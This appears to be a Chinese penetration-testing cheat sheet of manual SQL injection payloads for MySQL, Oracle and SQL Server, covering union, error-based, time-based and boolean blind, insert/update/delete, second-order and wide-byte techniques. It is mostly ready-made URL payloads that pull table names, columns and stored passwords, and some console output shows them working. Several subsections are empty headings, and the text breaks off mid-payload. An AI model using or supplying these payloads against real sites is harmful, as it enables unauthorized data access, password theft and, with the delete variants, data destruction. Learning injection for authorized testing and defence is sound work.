虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结,不会有详细的知识解读,类似于查询手册的形式,便于以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正! 0x01 Mysql 手工注入1.1 联合注入?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' --+ #group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+ #group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+ 1.2 报错注入
每个一个报错语句都有它的原理: exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。 updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。 爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- + 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- + 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- + 爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) 这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
1.3 盲注1.3.1 时间盲注时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢) 一般时间盲注我们还需要使用条件判断函数 #if(expre1,expre2,expre3) 当 expre1 为 true 时,返回 expre2,false 时,返回 expre3
#盲注的同时也配合着 mysql 提供的分割函 substr、substring、left 我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等
1.3.2 布尔盲注
1.4 insert,delete,updateinsert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入 1.4.1 报错mysql> insert into admin (id,username,password) values (2,'or updatexml(1,concat(0x7e,(version())),0) or','admin'); Query OK, 1 row affected (0.00 sec)
mysql> select * from admin; +------+-----------------------------------------------+----------+ | id | username | password | +------+-----------------------------------------------+----------+ | 1 | admin | admin | | 1 | and 1=1 | admin | | 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin | +------+-----------------------------------------------+----------+ 3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,''or updatexml(1,concat(0x7e,(version())),0) or'','admin'); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' 1.4.2 盲注
1.5 二次注入与宽字节注入二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。 mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11'); Query OK, 1 row affected (0.00 sec)
mysql> select * from admin; +----+-----------+-------+ | id | name | pass | +----+-----------+-------+ | 1 | admin | admin | | 2 | admin'111 | 11111 | | 3 | admin'--+ | 11 | +----+-----------+-------+ 4 rows in set (0.00 sec) 二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户 宽字节注入:针对目标做了一定的防护,单引号转变为
0x02 Oracle 手工注入2.1 联合注入?id=-1' union select user,null from dual-- ?id=-1' union select version,null from v$instance-- ?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)-- ?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)-- ?id=-1' union select username,passwd from users-- ?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)-- 2.2 报错注入
2.3 盲注 2.3.1 布尔盲注既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。 该函数的含义如下: IF 条件=值1 THEN RETURN(返回值1) ELSIF 条件=值2 THEN RETURN(返回值2) ...... ELSIF 条件=值n THEN RETURN(返回值n) ELSE RETURN(缺省值) END IF
2.3.2 时间盲注 可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)函数进行时间盲注,这个函数可以指定延迟的时间 ?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)-- ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)-- 0x03 SQL server 手工注入3.1 联合注入
3.2 报错注入?id=1' and 1=(select 1/@@servername)-- ?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))-- 3.3 盲注3.3.1 布尔盲注
3.3.2 时间盲注?id= 1';if(2>1) waitfor delay '0:0:5'-- ?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay |
|